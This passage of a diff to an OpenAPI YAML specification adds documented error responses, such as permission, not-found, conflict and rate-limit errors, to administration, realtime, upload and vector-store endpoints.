+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14421,6 +17184,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14557,6 +17332,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14664,6 +17451,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14807,6 +17606,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UsageResponse'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -14882,6 +17693,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserListResponse'
+ '400':
+ description: The user listing parameters are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14930,6 +17759,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/User'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The user was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -14976,6 +17823,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/User'
+ '400':
+ description: The requested user role is invalid or the update is not permitted.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The user was not found in this organization.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many management requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: administration
examples:
@@ -15106,6 +17977,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15173,6 +18062,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserRoleAssignment'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15239,6 +18146,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15295,6 +18220,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15362,6 +18305,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15435,6 +18396,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/GroupRoleAssignment'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15506,6 +18485,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15568,6 +18565,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15631,6 +18646,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/PublicRoleListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15690,6 +18723,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15750,6 +18801,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15808,6 +18871,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Role'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15867,6 +18948,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleDeletedResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -15935,6 +19034,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RoleListResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16008,6 +19125,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UserRoleAssignment'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16080,6 +19215,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssignedRoleDetails'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16142,6 +19295,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedRoleAssignmentResource'
+ '400':
+ description: The request parameters are invalid or the requested operation cannot be performed.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller does not have permission to perform this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/PermissionErrorResponse'
+ '404':
+ description: The endpoint is unavailable or a requested resource was not found in this organization or project.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -16260,6 +19431,24 @@ paths:
responses:
'200':
description: Call accepted successfully.
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The session or call can no longer accept this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
x-oaiMeta:
group: realtime-calls
returns: |-
@@ -16300,6 +19489,12 @@ paths:
responses:
'200':
description: Call hangup initiated successfully.
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: realtime-calls
returns: Returns `200 OK` when OpenAI begins terminating the realtime call.
@@ -16335,6 +19530,18 @@ paths:
responses:
'200':
description: Call referred successfully.
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
x-oaiMeta:
group: realtime-calls
returns: Returns `200 OK` once the REFER is handed off to your SIP provider.
@@ -16374,6 +19581,24 @@ paths:
responses:
'200':
description: Call rejected successfully.
+ '404':
+ description: The session or call was not found or is unavailable for this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The session or call can no longer accept this operation.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: An internal error occurred. The response body is plain text.
+ content:
+ text/plain:
+ schema:
+ type: string
x-oaiMeta:
group: realtime-calls
returns: Returns `200 OK` after OpenAI sends the SIP status code to the caller.
@@ -16418,6 +19643,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RealtimeCreateClientSecretResponse'
+ '400':
+ description: Invalid session configuration or model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The requested model was not found or is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The requested model's availability could not be determined.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: realtime
examples:
@@ -16604,6 +19847,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/RealtimeTranslationClientSecretCreateResponse'
+ '400':
+ description: Invalid session configuration or model.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The requested model was not found or is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The requested model's availability could not be determined.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: realtime
examples:
@@ -16684,6 +19945,18 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/ResponseStreamEvent'
+ '400':
+ description: Invalid response request or incompatible request parameters.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The requested model or a referenced resource was not found or is unavailable to this caller.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -17926,6 +21199,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Response'
+ '404':
+ description: The response was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18030,7 +21309,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18089,7 +21368,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/Error'
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -18217,6 +21496,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ResponseItemList'
+ '404':
+ description: The response or the item specified by `after` was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -20853,6 +24138,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
+ '400':
+ description: The upload request is invalid or exceeds a file size or storage quota limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -20907,6 +24204,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
+ '400':
+ description: The upload is no longer pending or is already being completed and cannot be cancelled.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The upload was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The upload has expired. Create a new upload before adding parts or completing it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -20961,6 +24282,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/Upload'
+ '400':
+ description: The upload cannot be completed in its current state, the parts are invalid, or the uploaded size does not match the specified size.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The upload was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The upload has expired. Create a new upload before adding parts or completing it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The upload could not be completed. Retry the same request, preserving the part order and MD5 value.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -21024,6 +24375,36 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/UploadPart'
+ '400':
+ description: The upload cannot accept more parts, or the part exceeds an upload size limit.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The upload was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '410':
+ description: The upload has expired. Create a new upload before adding parts or completing it.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '429':
+ description: Too many upload requests. Reduce the request rate and try again later.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '500':
+ description: The part could not be uploaded. Try the request again.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: uploads
examples:
@@ -21085,6 +24466,12 @@ paths:
$ref: '#/components/schemas/ListVectorStoresResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '503':
+ description: The vector store list is temporarily unavailable. Retry the request.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -21168,6 +24555,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
+ '400':
+ description: The vector store input, files or chunking configuration are invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: A referenced input file was not found or is not accessible.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21239,6 +24638,12 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21302,6 +24707,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreObject'
+ '400':
+ description: The vector store input is invalid, the store has expired, or the store cannot be modified.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '403':
+ description: The caller is not authorized to update the vector store.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21376,6 +24799,24 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteVectorStoreResponse'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The vector store is temporarily unavailable for this change or was modified concurrently.
+ headers:
+ Retry-After:
+ description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21443,8 +24884,38 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
+ '400':
+ description: The file batch input is invalid, the store has expired, or a file limit would be exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The vector store is temporarily unavailable for this change or was modified concurrently.
+ headers:
+ Retry-After:
+ description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The files could not be attached to the vector store.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -21564,6 +25035,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
+ '400':
+ description: The file batch identifier is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store or file batch was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21639,6 +25122,30 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileBatchObject'
+ '400':
+ description: The file batch identifier is invalid or the vector store has expired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store or file batch was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The vector store is temporarily unavailable for this change or was modified concurrently.
+ headers:
+ Retry-After:
+ description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21755,6 +25262,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoreFilesResponse'
+ '400':
+ description: The file batch identifier or file filter is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store or file batch was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21870,6 +25389,18 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListVectorStoreFilesResponse'
+ '400':
+ description: The requested file filter is invalid.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -21950,8 +25481,38 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
+ '400':
+ description: The file input is invalid, the store has expired, or a file limit would be exceeded.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The vector store is temporarily unavailable for this change or was modified concurrently.
+ headers:
+ Retry-After:
+ description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The file could not be attached to the vector store.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -22027,8 +25588,20 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
+ '404':
+ description: The vector store or file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The vector store file could not be retrieved.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -22095,8 +25668,38 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteVectorStoreFileResponse'
+ '400':
+ description: The vector store has expired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store or file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The vector store is temporarily unavailable for this change or was modified concurrently.
+ headers:
+ Retry-After:
+ description: When this change is blocked by a vector store migration, the number of seconds to wait before retrying. Other conflicts may omit this header.
+ schema:
+ type: integer
+ minimum: 1
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
+ '500':
+ description: The vector store file could not be deleted.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: vector_stores
examples:
@@ -22169,8 +25772,38 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/VectorStoreFileObject'
+ '400':
+ description: The file attributes are invalid or the vector store has expired.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '404':
+ description: The vector store or file was not found.
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/ErrorResponse'
+ '409':
+ description: The vector store is temporarily unavailable for this change or was modified concurrently.
+ headers:
